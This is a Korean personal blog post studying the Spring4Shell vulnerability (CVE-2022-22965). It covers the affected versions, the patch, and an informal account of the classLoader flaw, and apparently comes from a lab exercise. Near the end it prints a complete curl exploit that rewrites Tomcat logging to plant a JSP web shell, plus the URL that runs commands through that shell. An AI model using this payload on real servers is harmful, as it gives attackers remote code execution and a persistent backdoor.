Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

의미없는 블로그

[CVE-2022-22965] Spring Core RCE (Spring4Shell) 본문

# 나/exploit CVE

[CVE-2022-22965] Spring Core RCE (Spring4Shell)

SaltLee 2023. 2. 27. 18:50

#sudo service docker restart

#sudo docker start [container]

 

Spring Core에서 발생하는 원격코드실행 취약점

 

스프링 프레임워크도 뭐가 많네요.. 이중에 core 에서 발생하는 취약점

https://github.com/spring-projects/spring-framework

 

취약 조건은 모두 만족

- JDK 9 이상

- Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19, 그 이하 버전

- Apache Tomcat 8.5.77 이하, 9.0.61 이하, 10.0.19 이하

- 배포방식 war 패키징

- spring-webmvc 또는 spring-webflux 사용하는 경우

대응방안은 5.3.18, 5.2.20 이상 버전으로 업뎃 

 

PoC : https://github.com/itsecurityco/CVE-2022-22965

 

취약점 상세 : https://www.igloo.co.kr/security-information/spring4shellcve-2022-22965-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%9B%90%EC%9D%B8%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/

 

아 이거 되게 복잡하네

getBeanInfo 메소드랑 classLoader 라는걸 알아야 하는데

 

그냥 대충 이해하기론..

getBeanInfo 가 자바빈에서 속성, 메소드, 이벤트 같은 정보 가져오는거 > 걍 뭔가 객체 관련 정보 가져오는 애라고 생각

classLoader 는 클래스 파일을 찾아서 동적으로 JVM 위로 로드하는거 > 런타임이니까 RCE 관련해서 취약점 가능성 존재

 

getBeanInfo 사용할때 인자 지정안하고 호출하면 객체 속성값 뿐만 아니라 상위 클래스 값도 함께 저장되는 특징 있나봄

classLoader 는 getBeanInfo 호출할때 역시 쓰였을거 아녀

그래서 상위 클래스에 classLoader 가 노출되나 봄

그래서 classLoader 통해서 RCE 시도하나 봄

 

그래서 예전에도 이런 취약점 나와서

스프링에서 getBeanInfo 통해서 저장된 속성 중에 classLoader 있으면 속성 저장 안하도록 하는 로직 구현했다고 하는데

JDK9 버전에서는 뭐가 달라져서 또 classLoader 가 호출이 된다고 함 

(뭐가 달라졌는지는 '취약점 상세' 에 이글루 블로그 보면 나와있음)

 

무튼 Spring4Shell 은 JDK9 에서 추가된 모듈 통해서 classLoader 를 호출해서 RCE 실행

classLoader 가 Apache Tomcat 의 로그 저장하는거에다가 웹쉘을 저장한다고 한다

 

그래서 PoC 보면 shell.jsp 올린 담에 RCE 실행한다

3번이 classLoader 사용해서 shell.jsp 업로드 하도록 톰캣 설정 바꾸는거고

4번이 웹쉘 업로드 하는거라네?

 

확인 방법 

- JDK는 java -version 

- 스프링은 pom.xml 이나 gradle 에서 확인해야겠지

https://mvnrepository.com/artifact/org.springframework/spring

 

참고

https://hagsig.tistory.com/107

curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://192.168.231.128:8080/

 

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

 

http://192.168.231.128:8080/tomcatwar.jsp?pwd=j&cmd=whoami

 

 

 

 

 

Comments